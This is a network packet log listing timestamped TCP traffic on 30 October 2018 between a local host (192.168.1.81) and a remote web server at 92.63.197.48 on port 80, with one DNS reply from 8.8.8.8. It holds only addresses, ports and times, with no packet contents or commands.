Oct 30, 2018 14:46:01.257092953 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257103920 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257117033 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257127047 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257141113 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257262945 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257325888 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257347107 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257361889 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257375956 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257390976 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257405043 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257419109 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257612944 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257641077 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257709026 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257725954 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257730007 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257749081 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257769108 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257786036 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257802010 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257817984 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257837057 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257838964 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257857084 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257863998 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257877111 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257883072 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257896900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257903099 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257920027 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257988930 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258018017 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258033037 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258045912 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258059025 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258083105 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258115053 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258171082 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258189917 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258517981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258548975 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258572102 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258635998 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258634090 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258666039 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258672953 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258682013 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258707047 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258728027 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258765936 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258770943 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258800983 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258801937 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258822918 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258836985 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258838892 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258860111 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258879900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258903980 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258924007 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258923054 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258945942 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258953094 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258960009 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258972883 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258977890 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.258992910 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.258994102 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259022951 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259049892 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259083986 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259089947 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259104967 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259110928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259121895 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259134054 CET	53	64169	8.8.8.8	192.168.1.81
Oct 30, 2018 14:46:01.259138107 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259152889 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259155035 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259169102 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259175062 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259195089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259213924 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259278059 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259283066 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259304047 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259305954 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259322882 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259324074 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259363890 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259381056 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259393930 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.259406090 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.259407997 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.260039091 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.260066986 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.260082006 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.260096073 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.312338114 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.312380075 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.312391996 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.312408924 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.312419891 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.312587976 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.312638998 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.312664032 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.312685966 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.312707901 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.312942982 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313014030 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313076019 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313155890 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313175917 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313180923 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313199043 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313218117 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313225031 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313236952 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313256025 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313262939 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313273907 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.313574076 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313630104 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313663960 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313702106 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313738108 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313775063 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.313811064 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.314287901 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314307928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314318895 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314330101 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314537048 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.314549923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314578056 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314591885 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314599037 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.314611912 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314625025 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314635992 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314644098 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.314650059 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314668894 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314681053 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.314682961 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314697027 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314708948 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314759016 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314779043 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314841986 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314861059 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.314975023 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.314999104 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.315016031 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315031052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.315053940 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315057039 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.315076113 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.315088987 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315124035 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315177917 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315211058 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315264940 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315335035 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315376997 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315414906 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315450907 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315489054 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315529108 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.315572023 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.316212893 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.316251040 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.316276073 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.316299915 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.367866993 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.367908001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.367919922 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.367930889 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.367940903 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.368048906 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.368149996 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.368182898 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.368206978 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.368231058 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.368257999 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.368299007 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.368314981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.368422985 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.368431091 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.368459940 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.368460894 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.368479013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.368485928 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370242119 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.370268106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.370289087 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.370300055 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.370317936 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.370331049 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.370369911 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370400906 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370426893 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370477915 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370510101 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370533943 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370558023 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.370580912 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.371495962 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.425297022 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.425523043 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.480568886 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.480612040 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.480633974 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.480654001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.480921984 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.480966091 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.535943985 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.535986900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536094904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536161900 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.536164045 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536206007 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536243916 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536288023 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.536334991 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536361933 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536389112 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.536392927 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536509037 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536565065 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536587000 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536612988 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536648035 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536650896 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.536674023 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536699057 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536722898 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536745071 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.536747932 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536772013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536796093 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536819935 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536844015 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536845922 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.536868095 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536891937 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536915064 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536938906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536945105 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.536963940 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.536988020 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537010908 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537034988 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537058115 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537081957 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537117958 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.537131071 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537158012 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537182093 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537204981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537208080 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.537230015 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537257910 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537281990 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537303925 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.537305117 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537329912 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537353992 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.537405014 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.537529945 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.592325926 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592390060 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592418909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592439890 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592468023 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592483997 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592499971 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592516899 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592541933 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.592550039 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592578888 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592597008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592627048 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592643976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592659950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592675924 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592693090 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592703104 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.592710018 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592726946 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592761040 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592777014 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592792988 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.592792988 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592827082 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592840910 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592875004 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592891932 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592910051 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592947006 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.592972994 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.592993021 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593009949 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593025923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593043089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593045950 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.593056917 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593075037 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593089104 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593105078 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593121052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593135118 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593148947 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593163013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593173027 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.593180895 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593199015 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593214989 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593231916 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593249083 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.593278885 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.593799114 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.593872070 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.648370981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648431063 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648483992 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648514032 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648535967 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648565054 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648562908 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.648586988 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648632050 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648655891 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648679972 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648726940 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648735046 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.648760080 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648792982 CET	80	51992	92.63.197.48	192.168.1.81
